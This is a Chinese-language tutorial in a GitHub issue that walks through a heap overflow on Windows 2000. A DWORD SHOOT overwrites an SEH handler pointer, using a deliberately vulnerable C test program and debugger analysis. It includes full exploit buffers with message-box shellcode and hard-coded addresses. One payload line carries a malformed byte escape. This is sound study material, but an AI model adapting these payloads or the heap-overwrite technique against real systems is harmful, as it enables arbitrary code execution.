articles icon indicating copy to clipboard operation
articles copied to clipboard

DWORD SHOOT + SEH的利用(20180415-update)

Open xinali opened this issue 6 years ago • 0 comments

DWORD SHOOT + SEH 利用

DWORD SHOOT形成分析

首先简要说一下DWORD SHOORT是怎么形成的,在堆的分配和回收的过程中,会发生链表结构的'拆卸'和'安装',如下图,A为链表结构的前向指针,B为链表的后向指针。只要记住一点,发生DWORD SHOOT时,A的内容会写入B,并且构成溢出后会执行B中指针所指向的代码

+-------+          +--------+
|   A   |--------->|    B   |
|       |<---------|        |
+-------+          +--------+        

具体可以通过一个实例来分析

#include <windows.h>
#include <string.h>

// 字符串长度为512
char shellcode[] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf"; 

DWORD MyExceptionhandler(void)
{
    printf("got an exception, press enter to kill process!\n");
    getchar();
    ExitProcess(1);
}


int main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
	  __asm int 3
    hp = HeapCreate(0, 0x1000, 0x10000);
    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
    memcpy(h1, shellcode, 0x200);

    //__asm int 3 
    __try{
        h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    }
    __except(MyExceptionhandler()){}
	return 0;

堆分配的空间是200,但是复制的字符串最大长度是0x200,所以这里肯定会发生溢出,这次无法直接通过windbg打开来调试,因为堆的分配在调试状态下和正常状态不同。

通过od确定溢出点的长度:

可以发现od会将数据写入地址63616164,可以得到溢出长度为212

再根据理论分析一下为什么是212

首先HeapAlloc分配了长度为200的堆空间,头部固定长度为8个字节,之后是空闲块

+------+----------------------------+------------+---------+---------+--------+
|  头部 |   长度为200的数据            | 剩余空间头部 | 前向指针 | 后向指针 | 空闲空间 |
+------+----------------------------+------------+---------+---------+--------+

在od中查看

黑色部分是分配的堆块及其头部八个字节,后面的部分是空闲堆块。堆块头部占用八个字节用C标示,之后就是前后向指针,也就是画出的A和B

DWORD SHOOT就是会将A中的地址,写入B,并会执行B中的地址所指向的代码

根据上面总结出的规律,会报一个上面那个63616164地址访问错误!

exploit

要想利用SEH成功执行代码的话,根据上面的分析,我们需要首先把B中的地址换成SEH的handler地址,把A换成shellcode的地址,之后在形成DWORD SHOOT过程中,将handler地址指向shellcode地址,之后发生异常成功执行SEH

寻找SEH handler地址

直接运行代码,造成异常,通过od查看 SEH chain

可以发现用户自己就一个handler 00401214, SEH chain最上面的就是该异常相对应的异常处理handler指针,可以发现地址为0012FF2c 

shellcode

首先来看0day中给出的shellcode

"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\F8"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1a\x00\x00\x10\x00\x00"
"\x88\x06\x31\x00"		# shellcode写入地址,需要根据调试得出
"\x30\xff\x12\x00"		# SEH handler地址

其中SEH handler地址,我们查看到的是0x12ff2c为什么会变成30了呢?这里先用30尝试一下,具体原因下面再解释

获取堆的地址,并将数据复制进去

尝试执行

程序出错了,出现一个Access violation错误。为什么会出现这个问题呢?这个跟HeapAlloc函数的具体实现有关,这个有机会详细再分析一下。

现在来看看导致DWORD SHOOT的原因。

主要就是这个操作

node->f->b = node->b
node->b->f = node->f

根据代码,首先分配一个堆h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);,之后在此基础上又分配一个堆h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);, 分配第二个堆的过程就是从创建的那个Freelist[0]链接的块上再分配一块 理论性太强可能不太好理解,实际操作一下看看,由于我的win2000虚拟机符号数据总是无法使用,所以使用xp_sp3实验一下(因为shellcode是针对2000的,所以不会弹窗,但是能够帮助我们理解)

第一步,创建一个堆,并连接到Freelist[0]上

查看是否连接到了Freelist[0]上

成功连接到了Freelist[0]上,长度0x1000,分配第一个堆空间

第一个圈出来的是堆分配的空间,第二个圈出来的是剩下的堆,剩下的堆还是连接在Freelist[0]上

再回到win2000,看看复制后的情况

第二次分配后,内存空间状况

shellcode代码中的第4-7字节由\x90\x90\x90\x90,变为了\x00\x12\xff\x30,回到堆分配时链表的操作上来,第二次分配时,node就是那一大片剩余的空白空间。会进行这个操作

node->f->b = node->b ===> node->f(00310688)->b(0031068c) = node->b(0012ff30)
node->b->f = node->f ===> node->b(0012ff30)->f(0012ff2c) = node->f(00310688)

这里终于弄清了为什么字节会发生变化,并且DORD SHOOT的地址是0012ff30而不是0012ff2c了。 现在这里还有一个疑问,shellcode的4-7字节的变化会对shellcode的执行产生影响吗?我们通过在shellcode的入口地址设断点来判断。

改变的是eax,ebx两个寄存器,再来看看shellcode有没有直接利用这两个寄存器

直接通过shellcode的汇编代码发现,ebx,eax的初始化值都不会对代码的运行产生影响。为了不必要的麻烦,我们也可以利用jmp 0x4跳过被改变的代码,shellcode可以这么写

"\x90\x90\xeb\x04\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1a\x00\x00\x10\x00\x00"
"\x88\x06\x31\x00"
"\x30\xff\x12\x00"

其中\xeb\x04表示汇编代码jmp 0x4,看看运行

跳过了那段代码,并成功弹窗。

总结

分析堆溢出,真心累啊。。。

xinali avatar Apr 03 '18 02:04 xinali